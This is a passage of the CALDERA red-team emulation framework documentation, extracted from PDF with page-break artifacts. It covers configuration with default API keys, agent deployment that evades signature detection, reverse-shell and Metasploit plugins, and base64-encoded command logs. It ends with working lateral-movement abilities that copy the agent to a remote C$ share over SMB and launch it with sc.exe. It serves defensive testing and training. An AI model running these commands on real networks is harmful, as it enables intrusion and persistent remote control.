api_key_blue: BLUEADMIN123 # API key which grants access to CALDERA blue
api_key_red: ADMIN123 # API key which grants access to CALDERA red
app.contact.dns.domain: mycaldera.caldera # Domain for the DNS contact server
app.contact.dns.socket: 0.0.0.0:53 # Listen host and port for the DNS contact server
app.contact.gist: API_KEY # API key for the GIST contact
app.contact.html: /weather # Endpoint to use for the HTML contact
app.contact.http: http://0.0.0.0:8888 # Server to connect to for the HTTP contact
app.contact.tcp: 0.0.0.0:7010 # Listen host and port for the TCP contact server
app.contact.udp: 0.0.0.0:7011 # Listen host and port for the UDP contact server
app.contact.websocket: 0.0.0.0:7012 # Listen host and port for the Websocket contact
˓→server
21
caldera
˓→name)
Custom configuration files can be created with a new file in the conf/ directory. The name of the config file can then
be specified with the -E flag when starting the server.
Caldera will choose the configuration file to use in the following order:
1. A config specified with the -E or --environment command-line options. For instance, if started with
python caldera.py -E foo, CALDERA will load it’s configuration from conf/foo.yml.
2. conf/local.yml: Caldera will prefer the local configuration file if no other options are specified.
3. conf/default.yml: If no config is specified with the -E option and it cannot find a conf/local.yml
configuration file, CALDERA will use its default configuration options.
CALDERA can be configured to allow users to log in using LDAP. To do so add an ldap section to the config with
the following fields:
• dn: the base DN under which to search for the user
• server: the URL of the LDAP server, optionally including the scheme and port
• user_attr: the name of the attribute on the user object to match with the username, e.g. cn or
sAMAccountName. Default: uid
• group_attr: the name of the attribute on the user object to match with the group, e.g. MemberOf or group.
Default: objectClass
• red_group: the value of the group_attr that specifies a red team user. Default: red
For example:
ldap:
dn: cn=users,cn=accounts,dc=demo1,dc=freeipa,dc=org
server: ldap://ipa.demo1.freeipa.org
user_attr: uid
group_attr: objectClass
red_group: organizationalperson
By default, users authenticate to CALDERA by providing credentials (username and password) in the main login
page. These credentials are verified using CALDERA’s internal user mapping, or via LDAP if LDAP login is en-
abled for CALDERA. If users want to use a different login handler, such as one that handles SAML authentica-
tion or a login handler provided by a CALDERA plugin, the auth.login.handler.module keyword in the
CALDERA configuration file must be changed from its value of default, which is used to load the default login
handler. The configuration value, if not default, must be a Python import path string corresponding to the custom
login handler relative to the main CALDERA directory (e.g. auth.login.handler.module: plugins.
customplugin.app.my_custom_handler). If the keyword is not provided, the default login handler will be
used.
The Python module referenced in the configuration file must implement the following method:
def load_login_handler(services):
"""Return Python object that extends LoginHandlerInterface from app.service.
˓→interfaces.i_login_handler"""
pass
When loading custom login handlers, CALDERA expects the referenced Python module to return an object that
extends LoginHandlerInterface from app.service.interfaces.i_login_handler. This interface
provides all of the methods that CALDERA’s authentication service requires to handle logins. If an invalid login
handler is referenced in the configuration file, then the server will exit with an error.
An example login handler Python module may follow the following structure:
def load_login_handler(services):
return CustomLoginHandler(services, HANDLER_NAME)
class CustomLoginHandler(LoginHandlerInterface):
def __init__(self, services, name):
super().__init__(services, name)
SIX
PLUGIN LIBRARY
Here you’ll get a run-down of all open-source plugins, all of which can be found in the plugins/ directory as separate
GIT repositories.
To enable a plugin, add it to the default.yml file in the conf/ directory. Make sure your server is stopped when
editing the default.yml file.
Plugins can also be enabled through the GUI. Go to Advanced -> Configuration and then click on the ‘enable’ button
for the plugin you would like to enable.
The Sandcat plugin, otherwise known as 54ndc47, is the default agent that CALDERA ships with. 54ndc47 is written
in GoLang for cross-platform compatibility.
54ndc47 agents require network connectivity to CALDERA at port 8888.
6.1.1 Deploy
To deploy 54ndc47, use one of the built-in delivery commands which allows you to run the agent on any operating sys-
tem. Each of these commands downloads the compiled 54ndc47 executable from CALDERA and runs it immediately.
Find the commands on the Sandcat plugin tab.
Once the agent is running, it should show log messages when it beacons into CALDERA.
If you have GoLang installed on the CALDERA server, each time you run one of the delivery commands
above, the agent will re-compile itself dynamically and it will change it’s source code so it gets a different
file hash (MD5) and a random name that blends into the operating system. This will help bypass file-based
signature detections.
6.1.2 Options
When deploying a 54ndc47 agent, there are optional parameters you can use when you start the executable:
• Server: This is the location of CALDERA. The agent must have connectivity to this host/port.
• Group: This is the group name that you would like the agent to join when it starts. The group does not have to
exist. A default group of my_group will be used if none is passed in.
• v: Use -v to see verbose output from sandcat. Otherwise, sandcat will run silently.
25
caldera
6.1.3 Extensions
In order to keep the agent code lightweight, the default 54ndc47 agent binary ships with limited basic functionality.
Users can dynamically compile additional features, referred to as “gocat extensions”. Each extension adds to the ex-
isting gocat module code to provide functionality such as peer-to-peer proxy implementations, additional executors,
and additional C2 contact protocols.
To request particular gocat extensions, users can include the gocat-extensions HTTP header when asking the
C2 to compile an agent. The header value must be a comma-separated list of requested extensions. The server will
include the extensions in the binary if they exist and if their dependencies are met (i.e. if extension A requires a
particular Golang module that is not installed on the server, then extension A will not be included).
Below is an example powershell snippet to request the C2 server to include the proxy_http and shells exten-
sions:
It’s possible to customize the default values of these options when pulling Sandcat from the CALDERA server.This is
useful if you want to hide the parameters from the process tree. You can do this by passing the values in as headers
instead of as parameters.
For example, the following will download a linux executable that will use http://10.0.0.2:8888 as the server
address instead of http://localhost:8888.
6.2 Mock
The Mock plugin adds a set of simulated agents to CALDERA and allows you to run complete operations without
hooking any other computers up to your server.
These agents are created inside the conf/agents.yml file. They can be edited and you can create as many as
you’d like. A sample agent looks like:
- paw: 1234
username: darthvader
host: deathstar
group: simulation
platform: windows
location: C:\Users\Public
enabled: True
privilege: User
c2: HTTP
exe_name: sandcat.exe
executors:
- pwsh
- psh
After you load the mock plugin and restart CALDERA, all simulated agents will appear as normal agents in the Chain
plugin GUI and can be used in any operation.
6.3 Manx
The terminal plugin adds reverse-shell capability to CALDERA, along with a TCP-based agent called Manx.
When this plugin is loaded, you’ll get access to a new GUI page which allows you to drop reverse-shells on target
hosts and interact manually with the hosts.
You can use the terminal emulator on the Terminal GUI page to interact with your sessions.
6.2. Mock 27
caldera
6.4 Stockpile
6.5 Response
The response plugin is an autonomous incident response plugin, which can fight back against adversaries on a com-
promised host.
Similar to the stockpile plugin, it contains adversaries, abilties, and facts intended for incident response. These com-
ponents are all loaded through the plugins/response/data/* directory.
6.6 Compass
Create visualizations to explore TTPs. Follow the steps below to create your own visualization:
1. Click ‘Generate Layer’
2. Click ‘+’ to open a new tab in the navigator
3. Select ‘Open Existing Layer’
4. Select ‘Upload from local’ and upload the generated layer file
Compass leverages ATT&CK Navigator, for more information see: https://github.com/mitre-attack/attack-navigator
6.7 Caltack
The caltack plugin adds the public MITRE ATT&CK website to CALDERA. This is useful for deployments of
CALDERA where an operator cannot access the Internet to reference the MITRE ATT&CK matrix.
After loading this plugin and restarting, the ATT&CK website is available from the CALDERA home page. Not
all parts of the ATT&CK website will be available - but we aim to keep those pertaining to tactics and techniques
accessible.
6.8 SSL
Note: OpenSSL must be installed on your system to generate a new self-signed certificate
1. In the root CALDERA directory, navigate to plugins/ssl.
2. Place a PEM file containing SSL public and private keys in conf/certificate.pem. Follow the instruc-
tions below to generate a new self-signed certificate:
• In a terminal, paste the command openssl req -x509 -newkey rsa:4096 -out conf/
certificate.pem -keyout conf/certificate.pem -nodes and press enter.
• This will prompt you for identifying details. Enter your country code when prompted. You may leave the
rest blank by pressing enter.
3. Copy the file haproxy.conf from the templates directory to the conf directory.
4. Open the file conf/haproxy.conf in a text editor.
5. On the line bind *:8443 ssl crt plugins/ssl/conf/insecure_certificate.pem, replace
insecure_certificate.pem with certificate.pem.
6. On the line server caldera_main 127.0.0.1:8888 cookie caldera_main, replace 127.0.
0.1:8888 with the host and port defined in CALDERA’s conf/local.yml file. This should not be required
if CALDERA’s configuration has not been changed.
7. Save and close the file. Congratulations! You can now use CALDERA securely by accessing the UI
https://[YOUR_IP]:8443 and redeploying agents using the HTTPS service.
6.8. SSL 29
caldera
6.9 Atomic
The Atomic plugin imports all Red Canary Atomic tests from their open-source GitHub repository.
6.10 GameBoard
The GameBoard plugin allows you to monitor both red-and-blue team operations. The game tracks points for
both sides and determines which one is “winning”. The scoring seeks to quantify the amount of true/false posi-
tives/negatives produced by the blue team. The blue team is rewarded points when they are able to catch the red team’s
actions, and the red team is rewarded when the blue team is not able to correctly do so. Additionally, abilities are
rewarded different amounts of points depending on the tactic they fulfill.
To begin a gameboard exercise, first log in as blue user and deploy an agent. The ‘Auto-Collect’ operation will execute
automatically. Alternatively, you can begin a different operation with the blue agent if you desire. Log in as red user
and begin another operation. Open up the gameboard plugin from the GUI and select these new respective red and
blue operations to monitor points for each operation.
6.11 Human
The Human plugin allows you to build “Humans” that will perform user actions on a target system as a means to
obfuscate red actions by Caldera. Each human is built for a specific operating system and leverages the Chrome
browser along with other native OS applications to perform a variety of tasks. Additionally, these humans can have
various aspects of their behavior “tuned” to add randomization to the behaviors on the target system.
On the CALDERA server, there are additional python packages required in order to use the Human plugin. These
python packages can be installed by navigating to the plugins/human/ directory and running the command pip3
install -r requirements.txt
With the python package installed and the plugin enabled in the configuration file, the Human plugin is ready for use.
When opening the plugin within CALDERA, there are a few actions that the human can perform. Check the box for
each action you would like the human to perform. Once the actions are selected, then “Generate” the human.
The generated human will show a deployment command for how to run it on a target machine. Before deploying the
human on a target machine, there are 3 requirements:
1. Install python3 on the target machine
2. Install the python package virtualenv on the target machine
3. Install Google Chrome on the target machine
Once the requirements above are met, then copy the human deployment command from the CALDERA server and
run it on the target machine. The deployment command downloads a tar file from the CALDERA server, un-archives
it, and starts the human using python. The human runs in a python virtual environment to ensure there are no package
conflicts with pre-existing packages.
6.12 Training
This plugin allows a user to gain a “User Certificate” which proves their ability to use CALDERA. This is the first
of several certificates planned in the future. The plugin takes you through a capture-the-flag style certification course,
covering all parts CALDERA.
6.13 Access
This plugin allows you to task any agent with any ability from the database. It also allows you to conduct Initial Access
Attacks.
The Access plugin also allows for the easy creation of abilities for Metasploit exploits.
Prerequisites:
• An agent running on a host that has Metasploit installed and initialized (run it once to set up Metasploit’s
database)
• The app.contact.http option in CALDERA’s configuration includes http://
• A fact source that includes a app.api_key.red fact with a value equal to the api_key_red option in
CALDERA’s configuration
Within the build-capabilities tactic there is an ability called Load Metasploit Abilities. Run this
ability with an agent and fact source as described above, which will add a new ability for each Metasploit exploit.
These abilities can then be found under the metasploit tactic. Note that this process may take 15 minutes.
If the exploit has options you want to use, you’ll need to customize the ability’s command field. Start an operation
in manual mode, and modify the command field before adding the potential link to the operation. For example, to
set RHOSTS for the exploit, modify command to include set RHOSTS <MY_RHOSTS_VALUE>; between use
<EXPLOIT_NAME>; and run.
Alternatively, you can set options by adding a fact for each option with the msf. prefix. For example, to set RHOST,
add a fact called msf.RHOST. Then in the ability’s command field add set RHOSTS \#{msf.RHOSTS}; be-
tween use <EXPLOIT_NAME>; and run.
6.14 Builder
The Builder plugin enables CALDERA to dynamically compile code segments into payloads that can be executed as
abilities by implants. Currently, only C# is supported.
See Dynamically-Compiled Payloads for examples on how to create abilities that leverage these payloads.
6.12. Training 31
caldera
6.15 Debrief
The Debrief plugin provides a method for gathering overall campaign information and analytics for a selected set
of operations. It provides a centralized view of operation metadata and graphical displays of the operations, the
techniques and tactics used, and the facts discovered by the operations.
The plugin additionally supports the export of campaign information and analytics in PDF format.
SEVEN
CALDERA makes decisions using parsers, which are optional blocks inside an ability.
Let’s look at an example snippet of an ability that uses a parser:
darwin:
sh:
command: |
find /Users -name '*.#{file.sensitive.extension}' -type f -not -path '*/\.*
˓→' -size -500k 2>/dev/null | head -5
parsers:
plugins.stockpile.app.parsers.basic:
- source: host.file.path
edge: has_extension
target: file.sensitive.extension
A parser is identified by the module which contains the code to parse the command’s output. The parser can contain:
Source (required): A fact to create for any matches from the parser
Edge (optional): A relationship between the source and target. This should be a string.
Target (optional): A fact to create which the source connects too.
In the above example, the output of the command will be sent through the plugins.stockpile.app.parsers.basic module,
which will create a relationship for every found file.
33
caldera
EIGHT
OBJECTIVES
As part of ongoing efforts to increase the capabilities of CALDERA’s Planners, the team has implemented Objectives.
Objectives are collections of fact targets, called Goals, which can be tied to Adversaries. When an Operation starts, the
Operation will store a copy of the Objective linked to the chosen Adversary, defaulting to a base Goal of “running until
no more steps can be run” if no Objective can be found. During the course of an Operation, every time the planner
moves between buckets, the current Objective status is evaluated in light of the current knowledge of the Operation,
with the Operation completing should all goals be met.
8.1 Objectives
id: 7ac9ef07-defa-4d09-87c0-2719868efbb5
name: testing
description: This is a test objective that is satisfied if it finds a user with a
˓→username of 'test'
goals:
- count: 1
operator: '='
target: host.user.name
value: 'test'
Objectives can be tied to Adversaries either through the Adversaries web UI, or by adding a line similar to the following
to the Adversary’s YAML file:
objective: 7ac9ef07-defa-4d09-87c0-2719868efbb5
35
caldera
8.2 Goals
Goal objects can be examined at app/objects/secondclass/c_goal.py. Goal objects are handled as ex-
tensions of Objectives, and are not intended to be interacted with directly.
Goal objects utilize four attributes, documented below:
• target: The fact associated with this goal, i.e. host.user.name
• value: The value this fact should have, i.e. test
• count: The number of times this goal should be met in the fact database to be satisfied, defaults to infinity (2^20)
• operator: The relationship to validate between the target and value. Valid operators include:
– <: Less Than
– >: Greater Than
– <=: Less Than or Equal to
– >=: Greater Than or Equal to
– in: X in Y
– *: Wildcard - Matches on existence of target, regardless of value
– ==: Equal to
Goals can be input to CALDERA either through the Objectives web UI modal, or through Objective YAML files,
where they can be added as list entries under goals. In the example of this below, the Objective references two Goals,
one that targets the specific username of test, and the other that is satisfied by any two acquired usernames:
goals:
- count: 1
operator: '='
target: host.user.name
value: 'test'
- count: 2
operator: '*'
target: host.user.name
value: 'N/A'
36 Chapter 8. Objectives
CHAPTER
NINE
OPERATION RESULTS
After an operation runs, you can export the results in two different JSON formats: an operation report or operation
event logs.
The operation report JSON consists of a single dictionary with the following keys and values:
• name: String representing the name of the operation
• host_group: JSON list of dictionary objects containing information about an agent in the operation.
• start: String representing the operation start time in YYYY-MM-DD HH:MM:SS format.
• steps: nested JSON dict that maps agent paw strings to an inner dict which maps the string key steps to a list
of dict objects. Each innermost dict contains information about a step that the agent took during the operation:
– ability_id: String representing the UUID of the corresponding ability for the command. (e.g.
90c2efaa-8205-480d-8bb6-61d90dbaf81b)
– command: String containing the base64 encoding of the command that was run.
– delegated: Timestamp string in YYYY-MM-DD HH:MM:SS format that indicates when the operation
made the link available for collection
– run: Timestamp string in YYYY-MM-DD HH:MM:SS format that indicates when the agent submitted
the execution results for the command.
– status: Int representing the status code for the command.
– platform: String representing the operating system on which the command was run.
– executor: String representing which agent executor was used for the command (e.g. psh for Power-
Shell).
– pid: Int representing the process ID for running the command.
– description: String representing the command description, taken from the corresponding ability de-
scription.
– name: String representing the command nae, taken from the corresponding ability name.
– attack: JSON dict containing ATT&CK-related information for the command, based on the ATT&CK
information provided by the corresponding ability:
37
caldera
{
"name": "My Operation",
"host_group": [
{
"contact": "HTTP",
"proxy_receivers": {},
"display_name": "WORKSTATION1$BYZANTIUM\\Carlomagno",
"available_contacts": [
"HTTP"
],
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"paw": "pertbn",
"server": "http://192.168.137.1:8888",
"links": [
{
(continues on next page)
˓→",
"delegated": "2021-02-23T11:50:12Z",
"run": "2021-02-23T11:50:14Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 7016,
"description": "Locate files deemed sensitive",
"name": "Find files",
"attack": {
"tactic": "collection",
"technique_name": "Data from Local System",
"technique_id": "T1005"
},
"agent_reported_time": "2021-02-23T11:50:16Z"
},
{
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"command":
˓→"R2V0LUNoaWxkSXRlbSBDOlxVc2VycyAtUmVjdXJzZSAtSW5jbHVkZSAqLnltbCAtRXJyb3JBY3Rpb24gJ1NpbGVudGx5Q29udG
˓→",
"delegated": "2021-02-23T11:50:17Z",
"run": "2021-02-23T11:50:21Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 1048,
"description": "Locate files deemed sensitive",
"name": "Find files",
"attack": {
(continues on next page)
˓→",
"delegated": "2021-02-23T11:50:22Z",
"run": "2021-02-23T11:50:27Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 5964,
"description": "Locate files deemed sensitive",
"name": "Find files",
"attack": {
"tactic": "collection",
"technique_name": "Data from Local System",
"technique_id": "T1005"
},
"agent_reported_time": "2021-02-23T11:50:30Z"
},
{
"ability_id": "6469befa-748a-4b9c-a96d-f191fde47d89",
"command":
˓→"TmV3LUl0ZW0gLVBhdGggIi4iIC1OYW1lICJzdGFnZWQiIC1JdGVtVHlwZSAiZGlyZWN0b3J5IiAtRm9yY2UgfCBmb3JlYWNoIH
˓→",
"delegated": "2021-02-23T11:50:32Z",
"run": "2021-02-23T11:50:37Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 3212,
"description": "create a directory for exfil staging",
"name": "Create staging directory",
"attack": {
"tactic": "collection",
"technique_name": "Data Staged: Local Data Staging",
"technique_id": "T1074.001"
},
"output": "C:\\Users\\carlomagno\\staged",
"agent_reported_time": "2021-02-23T11:50:40Z"
},
{
"ability_id": "6469befa-748a-4b9c-a96d-f191fde47d89",
"command": "UmVtb3ZlLUl0ZW0gLVBhdGggInN0YWdlZCIgLXJlY3Vyc2U=",
"delegated": "2021-02-23T11:50:42Z",
"run": "2021-02-23T11:50:44Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 6184,
"description": "create a directory for exfil staging",
(continues on next page)
The operation event logs JSON file can be downloaded via the Download event logs button on the operations
modal after selecting an operation from the drop-down menu. To include command output, users should select the
include agent output option. Operation event logs will also be automatically written to disk when an opera-
tion completes - see the section on automatic event log generation.
The event logs JSON is a list of dictionary objects, where each dictionary represents an event that occurred during the
operation (i.e. each link/command). Users can think of this as a “flattened” version of the operation steps displayed
in the traditional report JSON format. However, not all of the operation or agent metadata from the operation report
is included in the operation event logs. The event logs do not include operation facts, nor do they include operation
links/commands that were skipped either manually or because certain requirements were not met (e.g. missing facts or
insufficient privileges). The event log JSON format makes it more convenient to import into databases or SIEM tools.
The event dictionary has the following keys and values:
• command: base64-encoded command that was executed
• delegated_timestamp: Timestamp string in YYYY-MM-DD HH:MM:SS format that indicates when the
operation made the link available for collection
• collected_timestamp: Timestamp in YYYY-MM-DD HH:MM:SS format that indicates when the agent
collected the link available for collection
• finished_timestamp: Timestamp in YYYY-MM-DD HH:MM:SS format that indicates when the agent
submitted the link execution results to the C2 server.
• status: link execution status
• platform: target platform for the agent running the link (e.g. “windows”)
• executor: executor used to run the link command (e.g. “psh” for powershell)
• pid: process ID for the link
• agent_metadata: dictionary containing the following information for the agent that ran the link:
– paw
– group
– architecture
– username
– location
– pid
– ppid
– privilege
– host
– contact
– created
• ability_metadata: dictionary containing the following information about the link ability:
– ability_id
– ability_name
– ability_description
• operation_metadata: dictionary containing the following information about the operation that generated
the link event:
– operation_name
– operation_start: operation start time in YYYY-MM-DD HH:MM:SS format
– operation_adversary: name of the adversary used in the operation
• attack_metadata: dictionary containing the following ATT&CK information for the ability associated with
the link:
– tactic
– technique_id
– technique_name
• output: if the user selected include agent output when downloading the operation event logs, this
field will contain the agent-provided output from running the link command.
• agent_reported_time: Timestamp string representing the time at which the execution was ran by the
agent in YYYY-MM-DD HH:MM:SS format. This field will not be present if the agent does not support
reporting the command execution time.
Below is a sample output for operation event logs:
[
{
"command":
˓→"R2V0LUNoaWxkSXRlbSBDOlxVc2VycyAtUmVjdXJzZSAtSW5jbHVkZSAqLnBuZyAtRXJyb3JBY3Rpb24gJ1NpbGVudGx5Q29udG
˓→",
"delegated_timestamp": "2021-02-23T11:50:12Z",
"collected_timestamp": "2021-02-23T11:50:14Z",
"finished_timestamp": "2021-02-23T11:50:14Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 7016,
"agent_metadata": {
"paw": "pertbn",
"group": "red",
"architecture": "amd64",
"username": "BYZANTIUM\\Carlomagno",
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"ppid": 2624,
"privilege": "Elevated",
"host": "WORKSTATION1",
"contact": "HTTP",
"created": "2021-02-23T11:48:33Z"
},
"ability_metadata": {
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"ability_name": "Find files",
"ability_description": "Locate files deemed sensitive"
},
"operation_metadata": {
"operation_name": "My Operation",
"operation_start": "2021-02-23T11:50:12Z",
"operation_adversary": "Collection"
(continues on next page)
˓→",
"delegated_timestamp": "2021-02-23T11:50:17Z",
"collected_timestamp": "2021-02-23T11:50:21Z",
"finished_timestamp": "2021-02-23T11:50:21Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 1048,
"agent_metadata": {
"paw": "pertbn",
"group": "red",
"architecture": "amd64",
"username": "BYZANTIUM\\Carlomagno",
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"ppid": 2624,
"privilege": "Elevated",
"host": "WORKSTATION1",
"contact": "HTTP",
"created": "2021-02-23T11:48:33Z"
},
"ability_metadata": {
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"ability_name": "Find files",
"ability_description": "Locate files deemed sensitive"
},
"operation_metadata": {
"operation_name": "My Operation",
"operation_start": "2021-02-23T11:50:12Z",
"operation_adversary": "Collection"
},
"attack_metadata": {
"tactic": "collection",
"technique_name": "Data from Local System",
"technique_id": "T1005"
},
"agent_reported_time": "2021-02-23T11:50:18Z"
},
{
"command":
˓→"R2V0LUNoaWxkSXRlbSBDOlxVc2VycyAtUmVjdXJzZSAtSW5jbHVkZSAqLndhdiAtRXJyb3JBY3Rpb24gJ1NpbGVudGx5Q29udG
˓→",
"delegated_timestamp": "2021-02-23T11:50:22Z",
"collected_timestamp": "2021-02-23T11:50:27Z",
"finished_timestamp": "2021-02-23T11:50:27Z",
"status": 0,
(continues on next page)
˓→",
"delegated_timestamp": "2021-02-23T11:50:32Z",
"collected_timestamp": "2021-02-23T11:50:37Z",
"finished_timestamp": "2021-02-23T11:50:37Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 3212,
"agent_metadata": {
"paw": "pertbn",
"group": "red",
"architecture": "amd64",
"username": "BYZANTIUM\\Carlomagno",
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"ppid": 2624,
"privilege": "Elevated",
"host": "WORKSTATION1",
"contact": "HTTP",
"created": "2021-02-23T11:48:33Z"
},
(continues on next page)
When an operation terminates, the corresponding event logs will be written to disk in the same format as if they were
manually requested for download. These event logs will contain command output and will be unencrypted on disk.
Each operation will have its own event logs written to a separate file in the directory $reports_dir/event_logs,
where $reports_dir is the reports_dir entry in the CALDERA configuration file. The filename will be of
the format operation_$id.json, where $id is the unique ID of the operation.
TEN
CALDERA allows for easy initial access attacks, by leveraging the Access plugin. This guide will walk you through
how to fire off an initial access attack, as well as how to build your own.
Start by deploying an agent locally. This agent will be your “assistant”. It will execute any attack you feed it. You
could alternatively deploy the agent remotely, which will help mask where your initial access attacks are originating.
From the Access plugin, select your agent and either the initial access tactic or any pre-ATT&CK tactic. This will
filter the abilities. Select any ability within your chosen tactic.
Once selected, a pop-up box will show you details about the ability. You’ll need to fill in values for any properties
your selected ability requires. Click OK when done.
Finally, click to run the ability against your selected agent. The ability will be in one of 3 states: IN-PROGRESS,
SUCCESS or FAILED. If it is in either of the latter two states, you can view the logs from the executed ability by
clicking on the star.
You can easily add new initial access or pre-ATT&CK abilities yourself.
You can use an existing binary or write your own - in any language - to act as your payload. The binary itself should
contain the code to execute your attack. It can be as simple or complex as you’d like. It should accept parameters for
any dynamic behaviors. At minimum, you should require a parameter for “target”, which would be your intended IP
address, FQDN or other target that your attack will run against.
As an example, look at the scanner.sh binary used for conducting a simple NMAP scan:
#!/bin/bash
This binary simply echos a few log statements and runs an NMAP scan against the first parameter (i.e., the target)
passed to it.
51
caldera
With your binary at hand, you can now create a new ability YML file inside the Access plugin (plug-
ins/access/data/abilities/*). Select the correct tactic directory (or create one if one does not exist). Here is what
the YML file looks like for the scanner.sh binary:
---
- id: 567eaaba-94cc-4a27-83f8-768e5638f4e1
name: NMAP scan
description: Scan an external host for open ports and services
tactic: technical-information-gathering
technique:
name: Conduct active scanning
attack_id: T1254
platforms:
darwin,linux:
sh:
command: |
./scanner.sh #{target.ip}
timeout: 300
payloads:
- scanner.sh
This is the same format that is used for other CALDERA abilities, so refer to the Learning the terminology page for a
run-through of all the fields.
With your ability YML file loaded, restart CALDERA and head to the Access plugin to run it.
ELEVEN
Exercising Caldera’s lateral movement and remote execution abilities allows you to test how easily an adversary can
move within your network. This guide will walk you through some of the necessary setup steps to get started with
testing lateral movement in a Windows environment.
11.1 Setup
The firewall of the target host should not be blocking UDP ports 137 and 138 and TCP ports 139 and 445. The firewall
should also allow inbound file and printer sharing.
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
This guide will assume a user with administrative privileges to the target host has been compromised and that a
CALDERA agent has been spawned with this user’s privileges. Some methods of lateral movement may depend on
whether (1) the user has administrative privileges but is not a domain account or (2) the user has administrative privi-
leges and is a domain account. The example walkthrough in this guide should not be impacted by these distinctions.
Lateral movement can be a combination of two steps. The first requires confirmation of remote access to the next target
host and the movement or upload of the remote access tool (RAT) executable to the host. The second part requires
execution of the binary, which upon callback of the RAT on the new host would complete the lateral movement.
Most of CALDERA’s lateral movement and execution abilities found in Stockpile have fact or relationship require-
ments that must be satisfied. This information may be passed to the operation in two ways:
53
caldera
1. The fact and relationship information may be added to an operation’s source. A new source can be created
or this information can be added to an already existing source as long as that source is used by the operation.
When configuring an operation, open the “AUTONOMOUS” drop down section and select “Use [insert source
name] facts” to indicate to the operation that it should take in fact and relationship information from the selected
source.
2. The fact and relationship information can be discovered by an operation. This requires additional abilities to be
run prior to the lateral movement and execution abilities to collect the necessary fact and relationship information
necessary to satisfy the ability requirements.
There are several ways a binary can be moved or uploaded from one host to another. Some example methods used in
CALDERA’s lateral movement abilities include:
1. WinRM
2. SCP
3. wmic
4. SMB
5. psexec
Based on the tool used, additional permissions may need to be changed in order for users to conduct these actions
remotely.
CALDERA’s Stockpile execution abilities relevant to lateral movement mainly use wmic to remotely start the binary.
Some additional execution methods include modifications to Windows services and scheduled tasks. The example in
this guide will use the creation of a service to remotely start the binary (ability file included at the end of this guide).
See ATT&CK’s Execution tactic page for more details on execution methods.
Using the adversary profile in this guide and CALDERA’s Debrief plugin, you can view the path an adversary took
through the network via lateral movement attempts. In the Debrief modal, select the operation where lateral movement
was attempted then select the Attack Path view from the upper right hand corner of graph views. This graph displays
the originating C2 server and agent nodes connected by the execution command linking the originating agent to the
newly spawned agent.
In the example attack path graph below, the Service Creation Lateral Movement adversary profile was run on the
win10 host, which moved laterally to the VAGRANTDC machine via successful execution of the Service Creation
ability.
This capability relies on the origin_link_id field to be populated within the agent profile upon first check-in and
is currently implemented for the default agent, 54ndc47. For more information about the #{origin_link_id}
global variable, see the explanation of Command in the What is an Ability? section of the Learning the Terminol-
ogy guide. For more information about how lateral movement tracking is implemented in agents to be used with
CALDERA, see the Lateral Movement Tracking section of the How to Build Agents guide.
This section will walkthrough the necessary steps for proper execution of the Service Creation Lateral Movement
adversary profile. This section will assume successful setup from the previous sections mentioned in this guide and
that a 54ndc47 agent has been spawned with administrative privileges to the remote target host. The full ability files
used in this adversary profile are included at the end of this guide.
See a video of the following steps here.
1. Go to navigate pane > Advanced > sources. This should open a new sources modal in the web GUI.
2. Click the toggle to create a new source. Enter “SC Source” as the source name. Then enter remote.host.
fqdn as the fact name and the FQDN of the target host you are looking to move laterally to as the fact value.
Click Save once source configuration has been completed.
3. Go to navigate pane > Campaigns > operations. Click the toggle to create a new operation. Under
BASIC OPTIONS select the group with the relevant agent and the Service Creation Lateral Movement profile.
Under AUTONOMOUS, select Use SC Source facts. If the source created from the previous step is not
available in the drop down, try refreshing the page.
4. Once operation configurations have been completed, click Start to start the operation.
5. Check the agents list for a new agent on the target host.
- id: deeac480-5c2a-42b5-90bb-41675ee53c7e
name: View remote shares
description: View the shares of a remote host
tactic: discovery
technique:
attack_id: T1135
name: Network Share Discovery
platforms:
windows:
psh:
command: net view \\#{remote.host.fqdn} /all
parsers:
plugins.stockpile.app.parsers.net_view:
- source: remote.host.fqdn
edge: has_share
target: remote.host.share
cmd:
command: net view \\#{remote.host.fqdn} /all
parsers:
plugins.stockpile.app.parsers.net_view:
- source: remote.host.fqdn
edge: has_share
target: remote.host.share
- id: 65048ec1-f7ca-49d3-9410-10813e472b30
name: Copy 54ndc47 (SMB)
description: Copy 54ndc47 to remote host (SMB)
tactic: lateral-movement
technique:
attack_id: T1021.002
name: "Remote Services: SMB/Windows Admin Shares"
platforms:
windows:
psh:
command: |
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
cleanup: |
$drive = "\\#{remote.host.fqdn}\C$";
Remove-Item -Path $drive"\Users\Public\s4ndc4t.exe" -Force;
parsers:
plugins.stockpile.app.parsers.54ndc47_remote_copy:
- source: remote.host.fqdn
edge: has_54ndc47_copy
payloads:
- sandcat.go-windows
requirements:
- plugins.stockpile.app.requirements.not_exists:
- source: remote.host.fqdn
edge: has_54ndc47_copy
- plugins.stockpile.app.requirements.basic:
- source: remote.host.fqdn
edge: has_share
- plugins.stockpile.app.requirements.no_backwards_movement:
(continues on next page)
- id: 95727b87-175c-4a69-8c7a-a5d82746a753
name: Service Creation
description: Create a service named "sandsvc" to execute remote 54ndc57 binary
˓→named "s4ndc4t.exe"
tactic: execution
technique:
attack_id: T1569.002
name: 'System Services: Service Execution'
platforms:
windows:
psh:
timeout: 300
cleanup: |
sc.exe \\#{remote.host.fqdn} stop sandsvc;
sc.exe \\#{remote.host.fqdn} delete sandsvc /f;
taskkill /s \\#{remote.host.fqdn} /FI "Imagename eq s4ndc4t.exe"
command: |
sc.exe \\#{remote.host.fqdn} create sandsvc start= demand error= ignore
